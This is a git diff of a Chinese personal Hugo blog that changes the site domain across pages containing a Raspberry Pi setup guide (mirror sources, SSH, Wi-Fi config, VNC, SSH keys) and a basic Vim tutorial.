xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>配置树莓派笔记</h1><div class=post-meta><span title='2021-06-16 14:48:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e9%85%8d%e7%bd%ae%e6%a0%91%e8%8e%93%e6%b4%be%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统</p><p>现改名为Raspberry Pi OS</p><p>工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc</p><p>修改为国内镜像源</p><p># 编辑 <code>/etc/apt/sources.list</code> 文件，删除原文件所有内容，用以下内容取代：
 deb <a href=http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/>http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/</a> buster main non-free contrib rpi
 deb-src <a href=http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/>http://mirrors.tuna.tsinghua.edu.cn/raspberry-pi-os/raspbian/</a> buster main non-free contrib rpi</p><p># 编辑 <code>/etc/apt/sources.list.d/raspi.list</code> 文件，删除原文件所有内容，用以下内容取代：
 deb <a href=http://mirrors.tuna.tsinghua.edu.cn/raspberrypi/>http://mirrors.tuna.tsinghua.edu.cn/raspberrypi/</a> buster main ui</p><p>使用刻录工具刻录树莓派系统（Win32DiskImager）</p><p>使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容
 没有用那么需要手动启动ssh服务：service sshd restart</p><p>在boot目录新建一个wpa_supplicant.conf文件</p><p>ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
-update_config=1</p><pre><code>network={
-    ssid=&quot;wifi的名字&quot;
-    psk=&quot;wifi的密码&quot;
-    key_mgmt=WPA-PSK
-    priority=1
-}
+update_config=1</p><pre><code>network={
+    ssid=&quot;wifi的名字&quot;
+    psk=&quot;wifi的密码&quot;
+    key_mgmt=WPA-PSK
+    priority=1
+}
 </code></pre><p>update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响</p><p>插入内存卡，连接电源，开启树莓派</p><p>Windows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找</p><p>使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry
 修改用户密码：sudo passwd pi pi是要修改密码的用户</p><p>修改用户名：
 vi /etc/shadow 把用户名修改为新用户名，其他不要动
 vi /etc/group 把用户名修改为新用户名，其他不要动！！！
 修改完，保存，重启</p><p>vnc服务</p><p>sudo raspi-config</p><p>依次操作：Interfacing Options -> VNC -> Yes</p><p>选择第5个的interfacing Options</p><p>找到第3个的vnc</p><p>系统会提示是否安装vnc服务，回复y或者yes，等待系统安装完成</p><p>或者安装vnc
-apt-get install x11vnc</p><p>x11vnc -storepasswd 设置vnc密码，vnc登录使用</p><p>x11vnc -usepw 用密码形式来启动vnc</p><p>x11vnc -usepw -forever 防止vnc闪退，一直连接vnc</p><p>开启桌面</p><p>sudo raspi-config</p><p>找到Boot Options，选择Desktop，重启</p><p>ssh-keygen 为了防止ssh连接每次都要输入密码，而设置的key密匙</p><p>ssh-copy-id <a href=mailto:pi@192.168.137.230>pi@192.168.137.230</a> 推送到要ssh的linux机子</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/linux/>Linux</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/30/><span class=title>« Prev</span><br><span>Git版本管理系统学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/28/><span class=title>Next »</span><br><span>python基础语法笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+apt-get install x11vnc</p><p>x11vnc -storepasswd 设置vnc密码，vnc登录使用</p><p>x11vnc -usepw 用密码形式来启动vnc</p><p>x11vnc -usepw -forever 防止vnc闪退，一直连接vnc</p><p>开启桌面</p><p>sudo raspi-config</p><p>找到Boot Options，选择Desktop，重启</p><p>ssh-keygen 为了防止ssh连接每次都要输入密码，而设置的key密匙</p><p>ssh-copy-id <a href=mailto:pi@192.168.137.230>pi@192.168.137.230</a> 推送到要ssh的linux机子</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/linux/>Linux</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/30/><span class=title>« Prev</span><br><span>Git版本管理系统学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/28/><span class=title>Next »</span><br><span>python基础语法笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/3/index.html b/posts/3/index.html
index d70b04fd..613cb46d 100644
--- a/posts/3/index.html
+++ b/posts/3/index.html
@@ -27,8 +27,8 @@
 ?text：按n健查找上一个，按N健查找下一个
 :wq：保存并且退出，加!表示强制
 :q!：强制退出并且放弃所有更改
-:e!：放弃修改，并且重新打开文件"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/3/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Vim编辑器"><meta property="og:description" content="Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
+:e!：放弃修改，并且重新打开文件"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/3/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Vim编辑器"><meta property="og:description" content="Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
 vim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）
 启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式
 普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）
@@ -57,7 +57,7 @@
 ?text：按n健查找上一个，按N健查找下一个
 :wq：保存并且退出，加!表示强制
 :q!：强制退出并且放弃所有更改
-:e!：放弃修改，并且重新打开文件"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/3/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-03-28T12:00:00+00:00"><meta property="article:modified_time" content="2021-03-28T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Vim编辑器"><meta name=twitter:description content="Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
+:e!：放弃修改，并且重新打开文件"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/3/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-03-28T12:00:00+00:00"><meta property="article:modified_time" content="2021-03-28T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Vim编辑器"><meta name=twitter:description content="Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
 vim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）
 启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式
 普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）
@@ -86,7 +86,7 @@
 ?text：按n健查找上一个，按N健查找下一个
 :wq：保存并且退出，加!表示强制
 :q!：强制退出并且放弃所有更改
-:e!：放弃修改，并且重新打开文件"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Vim编辑器","item":"https://xiaochenabc123.github.io/posts/3/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Vim编辑器","name":"简单使用Vim编辑器","description":"Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能\nvim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）\n启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式\n普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）\n正常模式：Esc或Ctrl+[进入 插入模式：按i键进入（a和o都可以） 命令行模式：在正常模式下按:进入 可视化模式：按v或者V，ctrl-V（或者ctrl-Q）进入 替换模式：在正常模式下按r进入\nv 进入字符可视化模式 V 进入行可视化模式 Ctrl+v 进入块可视化模式\n可视模式是用来选取一段文本，光标移到段首，在普通模式下按 v 进入可视模式，然后把光标移到段末\n移动光标\nh：光标左移 j：光标下移 k：光标上移 l：光标右移\n^或者0：移动到行首（命令行模式） $：移动到行尾（命令行模式）,可搭配数字来组合，例如2$就是2表示要移动的行数\n移动光标也可以搭配数字来进行组合，例如：\n3+h：光标左移3个字符\nvim hallo.js\n在vim界面新建文件\n:open hallo.js\n在vim界面打开一个新窗口新建文件\n:split file\n切换到上一个文件\n:bp\n切换到下一个文件\n:bn\n查看vim文件列表\n:args\n打开远程文件\n:e \\hallo abc.txt\n/text：按n健查找下一个，按N健查找上一个\n?text：按n健查找上一个，按N健查找下一个\n:wq：保存并且退出，加!表示强制\n:q!：强制退出并且放弃所有更改\n:e!：放弃修改，并且重新打开文件","keywords":["Vim"],"articleBody":"Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能\nvim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）\n启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式\n普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）\n正常模式：Esc或Ctrl+[进入 插入模式：按i键进入（a和o都可以） 命令行模式：在正常模式下按:进入 可视化模式：按v或者V，ctrl-V（或者ctrl-Q）进入 替换模式：在正常模式下按r进入\nv 进入字符可视化模式 V 进入行可视化模式 Ctrl+v 进入块可视化模式\n可视模式是用来选取一段文本，光标移到段首，在普通模式下按 v 进入可视模式，然后把光标移到段末\n移动光标\nh：光标左移 j：光标下移 k：光标上移 l：光标右移\n^或者0：移动到行首（命令行模式） $：移动到行尾（命令行模式）,可搭配数字来组合，例如2$就是2表示要移动的行数\n移动光标也可以搭配数字来进行组合，例如：\n3+h：光标左移3个字符\nvim hallo.js\n在vim界面新建文件\n:open hallo.js\n在vim界面打开一个新窗口新建文件\n:split file\n切换到上一个文件\n:bp\n切换到下一个文件\n:bn\n查看vim文件列表\n:args\n打开远程文件\n:e \\hallo abc.txt\n/text：按n健查找下一个，按N健查找上一个\n?text：按n健查找上一个，按N健查找下一个\n:wq：保存并且退出，加!表示强制\n:q!：强制退出并且放弃所有更改\n:e!：放弃修改，并且重新打开文件\n","wordCount":"50","inLanguage":"en","datePublished":"2021-03-28T12:00:00Z","dateModified":"2021-03-28T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/3/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Vim编辑器</h1><div class=post-meta><span title='2021-03-28 12:00:00 +0000 UTC'>2021-03-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Vim%e7%bc%96%e8%be%91%e5%99%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能</p><p>vim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）</p><p>启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式</p><p>普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）</p><p>正常模式：Esc或Ctrl+[进入
+:e!：放弃修改，并且重新打开文件"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Vim编辑器","item":"https://chenjunlinabc.github.io/posts/3/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Vim编辑器","name":"简单使用Vim编辑器","description":"Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能\nvim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）\n启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式\n普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）\n正常模式：Esc或Ctrl+[进入 插入模式：按i键进入（a和o都可以） 命令行模式：在正常模式下按:进入 可视化模式：按v或者V，ctrl-V（或者ctrl-Q）进入 替换模式：在正常模式下按r进入\nv 进入字符可视化模式 V 进入行可视化模式 Ctrl+v 进入块可视化模式\n可视模式是用来选取一段文本，光标移到段首，在普通模式下按 v 进入可视模式，然后把光标移到段末\n移动光标\nh：光标左移 j：光标下移 k：光标上移 l：光标右移\n^或者0：移动到行首（命令行模式） $：移动到行尾（命令行模式）,可搭配数字来组合，例如2$就是2表示要移动的行数\n移动光标也可以搭配数字来进行组合，例如：\n3+h：光标左移3个字符\nvim hallo.js\n在vim界面新建文件\n:open hallo.js\n在vim界面打开一个新窗口新建文件\n:split file\n切换到上一个文件\n:bp\n切换到下一个文件\n:bn\n查看vim文件列表\n:args\n打开远程文件\n:e \\hallo abc.txt\n/text：按n健查找下一个，按N健查找上一个\n?text：按n健查找上一个，按N健查找下一个\n:wq：保存并且退出，加!表示强制\n:q!：强制退出并且放弃所有更改\n:e!：放弃修改，并且重新打开文件","keywords":["Vim"],"articleBody":"Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能\nvim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）\n启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式\n普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）\n正常模式：Esc或Ctrl+[进入 插入模式：按i键进入（a和o都可以） 命令行模式：在正常模式下按:进入 可视化模式：按v或者V，ctrl-V（或者ctrl-Q）进入 替换模式：在正常模式下按r进入\nv 进入字符可视化模式 V 进入行可视化模式 Ctrl+v 进入块可视化模式\n可视模式是用来选取一段文本，光标移到段首，在普通模式下按 v 进入可视模式，然后把光标移到段末\n移动光标\nh：光标左移 j：光标下移 k：光标上移 l：光标右移\n^或者0：移动到行首（命令行模式） $：移动到行尾（命令行模式）,可搭配数字来组合，例如2$就是2表示要移动的行数\n移动光标也可以搭配数字来进行组合，例如：\n3+h：光标左移3个字符\nvim hallo.js\n在vim界面新建文件\n:open hallo.js\n在vim界面打开一个新窗口新建文件\n:split file\n切换到上一个文件\n:bp\n切换到下一个文件\n:bn\n查看vim文件列表\n:args\n打开远程文件\n:e \\hallo abc.txt\n/text：按n健查找下一个，按N健查找上一个\n?text：按n健查找上一个，按N健查找下一个\n:wq：保存并且退出，加!表示强制\n:q!：强制退出并且放弃所有更改\n:e!：放弃修改，并且重新打开文件\n","wordCount":"50","inLanguage":"en","datePublished":"2021-03-28T12:00:00Z","dateModified":"2021-03-28T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/3/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Vim编辑器</h1><div class=post-meta><span title='2021-03-28 12:00:00 +0000 UTC'>2021-03-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Vim%e7%bc%96%e8%be%91%e5%99%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div 